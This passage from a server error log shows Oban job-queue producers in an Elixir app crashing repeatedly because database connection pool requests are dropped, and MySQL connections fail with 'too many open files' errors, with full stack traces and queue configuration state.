    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:17:42.240426Z], limit: 10, uuid: "c9badcd6-c9db-484c-a8e0-f2a4002be170", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:42.240432Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174735>, refresh_timer: #Reference<0.2525715032.1121189889.174705>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:17:42.239112Z], limit: 5, uuid: "d9e828cc-f834-41ad-bc57-ec66e1564881", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:42.239118Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174739>, refresh_timer: #Reference<0.2525715032.1077673987.31324>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:17:42.238887Z], limit: 20, uuid: "d4539053-7a15-4a5f-a962-033314c725a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:42.238891Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174734>, refresh_timer: #Reference<0.2525715032.1121189889.174670>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:17:42.239138Z], limit: 50, uuid: "2ec0b029-1254-4665-8e4d-357773085034", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:42.239144Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174738>, refresh_timer: #Reference<0.2525715032.1099431938.54773>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:17:42.241037Z], limit: 3, uuid: "a4bc30ef-1573-40ff-96b0-edd74c8523eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:42.241042Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174737>, refresh_timer: #Reference<0.2525715032.1121189889.174726>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:00.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:00.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:02.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:04.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:05.568000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:17:54.241766Z], limit: 20, uuid: "1170e43d-4e82-4897-842d-f0d50f0448e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:54.241771Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175244>, refresh_timer: #Reference<0.2525715032.1121189889.175219>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:17:54.242183Z], limit: 5, uuid: "0d5098b5-9100-4a35-b981-dfbe8b3db301", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:54.242189Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.31410>, refresh_timer: #Reference<0.2525715032.1077673987.31404>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:17:54.242232Z], limit: 50, uuid: "60a1331b-70ec-4b95-99fc-79cc827618a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:54.242238Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.31411>, refresh_timer: #Reference<0.2525715032.1077673987.31408>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:17:54.240911Z], limit: 5, uuid: "b5b18462-3b96-4d19-8762-6b1588fdab17", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:54.240917Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175246>, refresh_timer: #Reference<0.2525715032.1121189889.175194>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
